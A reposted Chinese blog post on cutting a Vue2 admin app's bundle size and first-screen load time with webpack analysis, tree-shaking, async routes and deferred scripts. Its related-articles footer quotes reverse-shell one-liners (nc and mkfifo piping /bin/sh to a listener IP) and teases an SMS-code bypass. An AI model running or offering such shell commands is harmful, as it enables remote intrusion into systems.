单页面首屏优化,打包后大小减少64M,加载速度快了13.6秒

news2024/11/6 3:12:06

需求背景

  1. 从第三方采购的vue2 + ElementUI实现的云管平台,乙方说2011年左右就开始有这个项目了(那时候有Vue了吗,思考.jpg)。十几年的项目,我何德何能可以担此责任。里面的代码经过多人多年迭代可以用惨不忍睹来形容,吐槽归吐槽,混口饭吃,多烂的代码都得啃下去。
  2. 有一天领导找到我,问我怎么回事,打开页面需要十几秒时间也太慢了,后台管理系统不要求首屏加载时间都没有这么慢,这个对外的系统超过1秒打开时间,都会流失很多客户,不优化好年终自己看着办吧。
  3. 什么?影响年终?好的领导,我马上抽时间解决(🐂🐴)。

如何看优化是否做到位?

1. Lighthouse谷歌插件,从首页打开速度分析页面的性能,并给出指标和打分。

  • 如何使用Lighthouse?
  • F12打开控制台 - Lighthouse
  • 如下图所示选择,然后点击Anlyze page load就可以了
  • 这里只关注性能所以只勾选了Performance指标,其他可访问性、SEO有需求一同检测的自行勾选上。
    image.png

2. webpack-bundle-analyzer插件,分析代码打包大小的工具。

  • 如何使用webpack-bundle-analyzer?
  • npm install --save-dev webpack-bundle-analyzer安装依赖
// webpack.config.js配置文件
const BundleAnalyzerPlugin = require('webpack-bundle-analyzer').BundleAnalyzerPlugin;  
  
module.exports = {  
  // ... 其他配置 ...  
  plugins: [  
    new BundleAnalyzerPlugin()  
  ]  
};
  • 这样在打包的时候会生成一个静态网站查看各个模块占用的存储空间大小
    image.png

优化成果(有图有真相) 🔥

LightHouse性能指标解释:
FCP:衡量的是打开网页后,浏览器渲染第一段 DOM 内容所用的时间
LCP:用于测量视口中最大的内容元素何时渲染到屏幕上。这粗略地估算出网页主要内容何时对用户可见。
因为要优化的页面没有像官网那样有轮播图占据大量显示位置的元素,所以我主要关注FCP,FCP解决LCP也会相应变快

1. 优化前首页加载速度(FCP 15.8s)

image.png

2. 优化前体积(打包后大小80.5M)

Stat: 源代码阶段
Parsed: 经过webpack打包后的大小
Gzipped: 经过Gzip压缩过后的大小,实际浏览器接收的大小,需要服务器开启Gzip压缩
这里的大小主要关注chunk-vendors.js和app.js。其他都跟首页加载关系不大。下面的首屏代码大小是这两个js代码大小之和。
chunk-vendors是引用的第三方库如element-ui、echarts、vue等等打包后的代码。app.js是项目的代码。
总大小首屏代码大小
Stat76.5M21.1M
Parsed80.5M24.2M
Gzipped13.5M5.9M
  • 这里只放Gzipped的大小,全部都放图太多了。
    image.png

3. 优化后体积(三倍左右的代码体积减少,打包后大小减少64M!)

总大小首屏代码大小
Stat30.2M15.2M
Parsed16.6M6.2M
Gzipped4.3M1.9M

image.png

4. 优化后首页加载速度(FCP快了13.6秒!)

image.png

  • 看到这有人说,虽然是快了13.6秒,但是还是要2.2s,还是不能秒开,你的年终还是不保啊。
  • 上面Lighthouse是不会用到缓存去检测性能的,为了有效他每次检测都相当于首次全部加载,打包后的css、js静态文件都是可缓存的。用户第二次打开时,是可以做到秒开。(年终有啦-.-)
    image.png

怎么优化 ✏️

1. 静态文件缓存(js,css等),图片和SVG进行压缩或者替换。

  • 这一点在优化官网的时候很有用!大多数官网代码都十分精简,首屏加载慢大多都是因为轮播图没压缩,文件太大请求慢导致的,用压缩工具压缩一下,或者让UI换个不失真占用空间小的即可解决问题。
  • 在用webpack-bundle-analyzer查看包大小的时候,发现一个SVG竟然有1.5M!你敢信?而且SVG不会经过打包有大小变化,就是即使经过Webpack打包,Gzip压缩,他也会占用1.5M的的大小,优化前也才5.9M,所以1.5M占比很大需要优化。
    • 为什么会有1.5M的SVG?
    • 图片可以转SVG,但是只是粗暴的将图片的base64编码塞到SVG里面,体积增大33%
    • 图片未经压缩,原图比较大(甩锅设计,哈哈哈)
  • 最后改为使用静态图片引用,而且不是首页需要用到的SVG,所以首页代码大大减少
  • 从下图可以看到支付宝相关的SVG都比较大,最后都被我用阿里的iconfont用更小的svg替换了,减少了2.5M左右的大小!
    image.png

2. 删掉无用路由、引用的库(实际未使用),然后启用树摇

  • 删掉无用路由很有用!加上树摇,可以去掉很多代码。正常来说公司自研的项目,每一个路由都是必要。但是这是第三方经过多人多年迭代的项目,很多路由都是没用的。
  • 还有一些库,在main.js文件里注册了Vue的全局组件,但是搜索整个项目根本没有用到,而且这个库还挺大的。又可以减少一些代码。
  • 这里有个奇葩的点是,webpack@4.46.0的版本必须要指定mode: 'production’才会启用树摇!否则打包大小基本和源代码大小一样,参考上面优化前源代码76.5M,打包后80.5M代码还多了一点!(也有可能树摇开启成功了,只是启用了production其他优化减少了体积,有没有大佬指导一下!)

3. 除了首页组件以外,其他组件改为异步组件,异步加载。同一个路由的组件打包到一个js上。减少首屏加载时请求数太多。

import Home from '@views/Home.vue'
const router = [
    // 首页不要异步,才用导入的方式打包到app.js,优先加载
    {
        path: '/home',
        component: Home
    },
    // 其他组件异步加载,多个小组件可以打包到一起,减少请求数,代码分离要恰到好处
    {
        path: '/xx',
        component: () => import(/* webpackChunkName: "xx" */ '@/views/xx.vue')
    }
],

4. 异步加载首页不需要用到的js和css文件。

  • 项目的index.html总有一些奇奇怪怪的js和css引入如下所示,会阻塞页面的解析,我们在前端首页解析完后(DOMContentLoaded事件)加载它们。
<link
  rel="stylesheet"
  href="./luckysheet/plugins/css/pluginsCss.css" />
<link
  rel="stylesheet"
  href="./luckysheet/plugins/plugins.css" />
<link
  rel="stylesheet"
  href="./luckysheet/css/luckysheet.css" />
<link
  rel="stylesheet"
  href="./luckysheet/assets/iconfont/iconfont.css" />

<script src="./luckysheet/plugins/js/plugin.js"></script>
<script src="./luckysheet/luckysheet.umd.js"></script>
  • 比如这样
<script>
      document.addEventListener('DOMContentLoaded', () => {
        ;['./luckysheet/plugins/js/plugin.js', './luckysheet/luckysheet.umd.js'].forEach((item) => {
          const script = document.createElement('script')
          script.defer = true
          script.src = item
          document.body.appendChild(script)
        })
        ;[
          './luckysheet/plugins/css/pluginsCss.css',
          './luckysheet/plugins/plugins.css',
          './luckysheet/css/luckysheet.css',
          './luckysheet/assets/iconfont/iconfont.css'
        ].forEach((item) => {
          const link = document.createElement('link')
          link.rel = 'stylesheet'
          link.type = 'text/css'
          link.href = item
          document.head.appendChild(link)
        })
      })
    </script>

5. 此外还有服务端开启http2、开启Gzip压缩,笔者优化之前已经开启所以没有对比,就不再赘述,实际上提升也非常大。

6. 最后效果

  • 大小、请求数、加载时间都大大减少
  • 注意优化后的时间chunk-vendors.js和app.js加载一共耗时1.59s,不是1.11+1.59,chunk-vendors的下载解析会阻塞app.js的下载解析,所以一共1.59s。
  • 前:

image.png

  • 后:

image.png

最后 🚁

Happy ending!年终保住了!(也可能没保住🐶)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1613988.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大模型培训老师叶梓:通过微调提升小型语言模型的复杂推理能力

在人工智能的快速发展中&#xff0c;复杂推理能力的提升一直是研究者们追求的目标。最近&#xff0c;一项发表在arXiv上的研究成果【1】&#xff0c;提出了一种创新的方法&#xff0c;即通过微调小型语言模型&#xff08;LMs&#xff09;&#xff0c;并将其与大型语言模型&…

内旋风铣也挺有意思,不够还没搞透

内旋风铣&#xff0c;这一术语在机械制造业中并不陌生&#xff0c;它代表着一种高效且精确的加工方法。这一技术的名称“内旋风铣”便揭示了其两大核心特点&#xff1a;一是“内”&#xff0c;指的是在工件内部进行加工&#xff0c;通常涉及到难以触及的复杂曲面&#xff1b;二…

C语言趣味代码(二)

1.珠玑妙算 1.1 介绍 《珠玑妙算》(Mastermind)是英国Invicta公司于1973年开始销售的一款益智游戏&#xff0c;据说迄今为止已经在全世界销售了5000万套。《珠玑妙算》于1974年获奖后&#xff0c;在1975年传入美国&#xff0c;1976年leslieH.Autl博士甚至还出版了一本名为The…

C++笔试强训day4

目录 1.游游的you 2.腐烂的苹果 3.孩子们的游戏 1.游游的you 链接&#xff1a; 分析题意之后&#xff0c;发现就是一道简单的贪心&#xff0c;当然也可以把他看作纯数学题。 因为you和oo里面都有o&#xff0c;但是you可以得两分&#xff0c;所以贪心策略尽可能的去凑更多的…

千锤百炼之算法Scanner和System.out引起超时解决办法

题外话 觉得这个内容还是很关键的,过来写一下吧 本次内容有点抽象大家试着听一下 正题 做过算法题的人都知道,无论是在力扣还是牛客或者别的网站刷题,很多情况下都会遇到输入输出的情况,当我们用Scanner和System.out.print()就有可能产生超时问题 如下图 接下来会有一段代…

王者荣耀防御塔如何开发!新手小白做游戏开发采坑经过。phaser前端游戏框架

好嘞&#xff0c;游戏开发框架是js 开发的网页小游戏&#xff01; phaser这个框架。好我们先上图&#xff01; 目前大概是这么一个样子。 然后防御塔功能呢。简单的说就是当人物进去的时候打他。人物扣血。 我们的小人物是这样的代码 遇到的问题如下&#xff1b; 小白刚开始…

Qt/C++音视频开发70-无感切换通道/无缝切换播放视频/多通道流畅切换/不同视频打开无缝切换

一、前言 之前就写过这个方案&#xff0c;当时做的是ffmpeg内核版本&#xff0c;由于ffmpeg内核解析都是代码实现&#xff0c;所以无缝切换非常完美&#xff0c;看不到丝毫的中间切换过程&#xff0c;看起来就像是在一个通道画面中。其实这种切换只能说是取巧办法&#xff0c;…

计算机经典黑皮书分享

计算机经典黑皮书是一套计算机科学丛书&#xff0c;其中包含了多本计算机科学领域的经典教材 提供了全面的知识体系&#xff1a;黑皮书涵盖了计算机科学的多个领域&#xff0c;如计算机组成与设计、操作系统、数据库、人工智能等。它们深入浅出地介绍了相关领域的基本概念、原…

免费听音乐,下载音乐mp3,mp4,歌词的网站分享(2024-04-22)

亲测&#xff01;&#xff01;&#xff01; 1、音乐客 免费听和免费下载 经典老歌 - 音乐客音乐客,yinyueke.net,免费音乐,免费在线音乐播放器,免费下载音乐,音乐&#xff0c;播放器&#xff0c;下载&#xff0c;播放&#xff0c;DJ&#xff0c;免费,mp3,高音质&#xff0c;…

07 文件-IO流字节流

File File类的使用 File对象既可以代表文件、也可以代表文件夹。它封装的对象仅仅是一个路径名&#xff0c;这个路径可以存在&#xff0c;也可以不存在 创建File类的对象 构造器说明public File(String pathname)根据文件路径创建文件对象public File(String parent, Strin…

短信验证码绕过漏洞(一)

短信验证码绕过漏洞 0x01原理&#xff1a; 服务器端返回的相关参数作为最终登录凭证&#xff0c;导致可绕过登录限制。 危害&#xff1a;在相关业务中危害也不同&#xff0c;如找回密码&#xff0c;注册&#xff0c;电话换绑等地方即可形成高危漏洞&#xff0c;如果是一些普…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

【Go语言快速上手(三)】数组, 切片与映射

&#x1f493;博主CSDN主页:杭电码农-NEO&#x1f493;   ⏩专栏分类:Go语言专栏⏪   &#x1f69a;代码仓库:NEO的学习日记&#x1f69a;   &#x1f339;关注我&#x1faf5;带你学习更多Go语言知识   &#x1f51d;&#x1f51d; GO快速上手 1. 前言2. 数组详解3. 切…

如何在本地创建一个新的Git仓库?

文章目录 **步骤一&#xff1a;开启项目之旅****步骤二&#xff1a;启动Git引擎****步骤三&#xff1a;验证仓库初始化情况****步骤四&#xff1a;填充项目内容****步骤五&#xff1a;保存更改——初次提交****&#xff08;可选步骤六&#xff1a;关联远程仓库并推送&#xff0…

双链表实现,增 删 改 查(基础详细版)

0.在开始之前建议先跟着思路&#xff0c;走一遍&#xff0c;调试部分我就不放了主要写的是实现思路。当然最后也会把源码附上。 1. 带头双向循环链表(简称&#xff1a;双向链表) 双向循环带头链表: 红色的指向正的 最后一个节点指向头结点绿色的指向反的 从最后一个开始遍历&a…

Rust-01 Hello Rust 10分钟上手编写第一个Rust程序 背景介绍 发展历史 环境配置 升级打怪的必经之路

背景介绍 Rust 是一种多范式、通用的编程语言&#xff0c;强调性能、类型安全和并发性。它通过一个称为“借用检查器”的机制在编译时追踪所有引用的对象生命周期&#xff0c;以强制实现内存安全&#xff0c;即确保所有引用都指向有效的内存&#xff0c;而不需要垃圾收集器。 …

浏览器工作原理与实践--性能分析工具:如何分析Performance中的Main指标

节我们介绍了如何使用Performance&#xff0c;而且我们还提到了性能指标面板中的Main指标&#xff0c;它详细地记录了渲染主线程上的任务执行记录&#xff0c;通过分析Main指标&#xff0c;我们就能够定位到页面中所存在的性能问题&#xff0c;本节&#xff0c;我们就来介绍如何…

如何修改支付宝号?日赚300+,纯撸信息差!

最近更新的内容中&#xff0c;很多都是给大家讲到的“信息差”。但是&#xff0c;真正能理解信息差&#xff0c;并且使用信息差赚钱的&#xff0c;有多少&#xff1f; 包括前几天给朋友们分享的软件项目&#xff0c;靠信息差月入3万&#xff0c;直接复制粘贴搞定&#xff01;和…

java可盈保险合同管理系统的设计与实现(springboot+mysql源码+文档)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的可盈保险合同管理系统。项目源码以及部署相关请联系风歌&#xff0c;文末附上联系信息 。 项目简介&#xff1a; 基于Spring Boot的…

在【laravel框架】学习中遇到的常见的问题以及解决方法

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;开发者-曼亿点 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 曼亿点 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a…